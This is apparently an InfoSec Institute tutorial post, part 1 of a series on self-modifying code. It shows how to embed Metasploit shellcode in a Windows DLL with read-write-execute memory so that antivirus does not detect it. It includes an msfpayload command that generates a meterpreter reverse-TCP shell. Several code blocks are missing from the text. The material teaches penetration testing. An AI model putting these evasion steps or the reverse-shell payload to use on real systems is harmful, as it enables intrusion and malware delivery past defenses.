Reverse engineering

Writing Self-modifying Code Part 1: C Hello world with RWX and in-line assembly

November 21, 2011 by Darren Dalasta

To follow along with this tutorial, download all source files here

In the first part of this tutorial, we’ll be making a basic C scaffold and getting read, write, and execute permissions for the memory section. This way we’ll be able to have some self-modifying code in the following tutorials (part 2 is located here). We’ll begin with a hello.c, hellodll.c, hellodll.h, and makefile. Readers should be able to use an Ubuntu virtual machine and simply:

apt-get install build-essential mingw32

in order to follow along. The hello.c file is a simple dll loader. The hellodll.c is a simple dll where we will insert some assembly structures or none at all to confirm our setup is working properly. We can then hook up a debugger and step through our simple example to see what changes when we modify the code. GDB is open source, freely available, cross platform, and cross architecture. In the tutorial we’ll use Immunity Debugger since it has a much cleaner and more intuitive interface. It is easily installable in wine. You need full python 2.7. If you have problems check out Google’s responses for “wine msiexec”. Let’s get started by downloading the example code and test compiling it. The video here is one chunk. That’s the beauty of pause. You can either read it all then get some clarification from the video, or exercise your right to pause.

Writing Self-modifying Code Part 1 - InfoSec Institute


If we take a look at the source files, hello.c does little more than call LoadLibrary and call the first exported function in the Dll. The reason we use this approach is that many anti-virus products won’t detect malicious code dropped inside of a Dll. They do detect some similar code when dropped directly behind a simple PE header.

If the goal is going to be to write self modifying code we’re going to need to get read, write, and execute permissions. There are a lot of ways to do this. We could use any number of functions to change the permissions on a memory section or process. Let’s do this for a memory section since process wide DEP can be force enabled. The MSDN tells us that the VirtualProtect function is portable across all versions of windows and we can set permissions to whatever we want. Let’s use the raw values instead of symbolic constants to make the code more portable even if it’s a little less readable. Some example code would be:

int vpretval = VirtualProtect( baseaddress, memlen, newprotect, &oldprotect);

But how are we going to get the size of the code? This could be troublesome. Setting the size statically could be a bad idea. Let’s insert a marker function so we can do a little simple arithmetic and have a functional VirtualProtect call. If you want to find out if this is working you can print out some debugging information. Once you’re sure it’s working, let’s do away with that pesky console window by changing our makefile a little bit.

$(CC) -o loader.exe loader.o $(DLLNAME).dll
$(CC) -o loader.exe -mwindows loader.o $(DLLNAME).dll

Simple payloads dropped behind an executable header are pretty easily detected. This can be demonstrated by generating a malicious binary with the following command:

msfpayload windows/meterpreter/reverse_tcp LPORT=443 LHOST= x>test.exe

and scanning with We could use an off the shelf encoder that’s built in to metasploit. Shikata is fairly effective and becomes more effective with higher iterations. Eventually the vendors will probably start detecting just the encoders though. For the purposes of this tutorial we’ll stick with Avast and AVG since they are free, and one detects some malicious shell-code when simply dropped in to a function of a Dll.

So we were detected using the Metasploit built-in executable generator the vast majority of the time. Our goal is the ability to build custom APT software as a demonstration for penetration testing contracts anyway right? Now let’s take a look at our test compiled files. After entering the project directory and running make we can attach Immunity Debugger, breakpoint on our GetProcAddress call, then step in to our call eax. Now we’re in the DLL. This first part is a common preamble and will differ slightly depending on the arguments we pass in to our function. After that we can see our NOPs and return. Let’s take a look at our memory permissions to make sure our VirtualProtect call worked. I did include a debug flag detection, but it’s not in the makefile. That’s a really simple exercise to get you used to mingw32 and makefiles. Hint: -D and ifdef. This is all pretty simple. Let’s step it up a bit and drop in some shell-code. Inserting NOPs is as simple as dropping in:


Just repeat the “nop;” line for as many iterations as you need. Very simple. You could automate this part of the process to put in as many bytes as you need for the shellcode and drop it in directly. Of course, that would eliminate the next exercise…so let’s keep reading. Do remember that in-line assembly each line has to be quoted and end in a ;.

Now that we’ve been detected by both products, let’s try putting some shellcode inside a function. A simple procedure for this is to use the common and freely available tool objdump to get the assembly back from the opcodes. We accomplish this by copying the shell-code generated by the metasploit framework into a .bin file and dumping it with objdump using the following steps. First copy all this:


in to a .bin file with your hex editor of choice. Winhex is free and runs under wine. Unlike a lot of the free hex editors for linux that won’t increase the length of a file or support pasting very well, this one just works. Alternately, you could convert it to hex and write it to disk with a simple python script like so:

Click here to download python/

This is simpler, but all of the text representation must be on one line. If you want multiple line breaks and msfpayload .c output you need to look in to regex replacing x, n, and possibly r. This is the same for ImmDbg binary copies. We have to fix up jumps in order to get this to compile since mingw32 uses labels and doesn’t recognize the offsets. So we use this command to tell objdump 1)disassemble the whole thing, 2)it’s just a raw binary file, 3)architecture, 4)assembly code format, and 5) filename.

objdump -D -b binary -m i386 -M intel shellcode.bin

You have to fix up the jumps from relative offsets to jump labels. If you’re exact byte-code doesn’t match, it could be the compiler using regular jumps where short jumps used to be or something very similar. See if you can do the fix-ups yourself. After fixing up the shell-code for our purposes it goes from looking something like this:

Click here to download shellcodeexample/shellcodedump.txt

to looking more like this:———————————————-

Click to download shellcodeexample/shellcodefixup.txt

Now we simply drop this shell-code in to a function and see what happens. The example code gets detected by Avast. It does not get detected by AVG. If it doesn’t get detected by either, some of your jumps got compiled a little differently. We could have shortcut this by compiling with a bunch of NOPs and dropping it in with a hex editor. That last part was a good exercise anyway. Here’s the screenshot that shows this shellcode getting detected from within a function:

We’re getting Read,Write, and Execute at load time to simplify the disassembly. We’ll change that in the next tutorial when we get in to extended assembly. Let’s take a look at what happens now. We got passed most anti-virus on with this approach, but we want to do a little more. We need to bypass Avast. We could insert some NOPs and our jumps would adjust automatically since we’re compiling from source. In order to find out what part of the shellcode actually triggers the definition, we can do something like replacing sections of instructions with garbage and scanning a bunch of files. That doesn’t really scale though and is kind of like fuzzing the anti-virus system. That’s why we’re going to make a custom encoding and decoding section. So, hopefully you found it interesting. We’ll talk again soon. Thanks for listening.

Posted: November 21, 2011
Darren Dalasta
View Profile

Darren Dalasta is an accomplished digital strategist and growth marketing leader with almost 20 years of experience in SEO, demand generation and product management. Darren leads growth marketing strategy at Infosec, where he focuses on implementing scalable digital strategies that generate sales-ready leads, shorten the time-to-purchase journey and reduce churn. Previously, Darren ran digital marketing at where he doubled search traffic for the company’s Top 50 global site and was among one of the first 100 Google Adwords Qualified Professionals. He joined Infosec in 2010 and has since grown the marketing team from one staff person to 18. Darren holds a Bachelor of Science in Marketing from University of Wisconsin-Madison and lives in the Pacific Northwest where he spends as much time in the mountains as possible.